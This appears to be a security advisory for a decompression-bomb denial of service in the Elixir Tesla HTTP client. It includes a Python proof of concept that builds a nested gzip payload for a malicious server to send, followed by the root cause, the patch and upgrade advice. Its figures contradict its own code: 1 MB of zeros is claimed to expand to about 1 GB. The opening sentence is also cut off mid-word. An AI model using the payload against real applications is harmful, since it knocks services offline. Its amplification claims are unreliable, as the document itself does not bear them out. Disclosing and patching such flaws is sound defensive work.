CVE-2026-48594: Tesla Middleware Decompression Bomb (DoS)
The Tesla HTTP client library for Elixir will blindly decompress any server response with no size limit, so an attacker who controls a server can crash or freeze any app that uses its decompression mi
The problem
Any Tesla pipeline that includes `Tesla.Middleware.DecompressResponse` or `Tesla.Middleware.Compression` decompresses HTTP response bodies eagerly, with no cap on output size.
The `decompress_body/2` function in `lib/tesla/middleware/compression.ex` passes the full body to `:zlib.gunzip/1` or `:zlib.unzip/1` directly. It also splits the `content-encoding` header on commas and recurses once per token, so stacking multiple encoding labels multiplies the amplification exponentially.
Any app talking to an attacker-controlled server, including one reached via a redirect, is exposed.
Proof of concept
A working proof-of-concept for CVE-2026-48594 in tesla, with the exact payload below.
# Build a 4-layer gzip bomb: ~284 bytes on the wire, ~1 GB after decompression.
# The server returns this body with: content-encoding: gzip, gzip, gzip, gzip
import gzip
# Innermost payload: 1 MB of zeros (compresses to ~1 KB with gzip)
data = b"\x00" * 1_000_000
# Wrap in 4 successive gzip layers
for _ in range(4):
data = gzip.compress(data)
# Write the final ~284-byte wire payload
with open("bomb.gz", "wb") as f:
f.write(data)
print(f"Wire size: {len(data)} bytes")
# Serve this file from a malicious HTTP server with the header:
# Content-Encoding: gzip, gzip, gzip, gzip
# Tesla decompresses layer by layer, reaching ~1 GB in the calling process heap.The root cause (CWE-409) is that `decompress_body/2` called `:zlib.gunzip/1` in a single blocking call with no output-size guard. Each gzip pass can expand input ~1000x, so four passes yield roughly 10^12 amplification at the theoretical limit. The advisory documents a concrete 284-byte wire payload expanding to ~1 GB after four layers.
The patch (commit 340f75b) replaced the single-shot `:zlib.gunzip/1` calls with streaming incremental inflation that enforces a configurable `:max_body_size` ceiling. It also added a hard rejection of any response that advertises more than one `content-encoding` token, which closes the recursive-recursion vector entirely.
The fix
Upgrade to `tesla` >= 1.18.3. After upgrading, configure a safe `:max_body_size` limit in your middleware options, for example: `{Tesla.Middleware.DecompressResponse, max_body_size: 10_000_000}`. The patched version rejects responses with multiple `content-encoding` tokens and enforces the size cap during streaming inflation, so no single response can exhaust heap.
Reported by Peter Ullrich.
Related research
- highCVE-2026-48597CVE-2026-48597: Tesla Mint Adapter BEAM Atom Table Exhaustion via Untrusted URL Scheme
- highCVE-2026-49754CVE-2026-49754: Mint HTTP/2 CONTINUATION Flood Memory Exhaustion
- highCVE-2026-48862CVE-2026-48862: Mint HTTP/2 Client Memory Exhaustion via PUSH_PROMISE Flood
- critical · 9.1CVE-2026-49457CVE-2026-49457: erlang/quic Broken TLS Certificate Verification (MITM)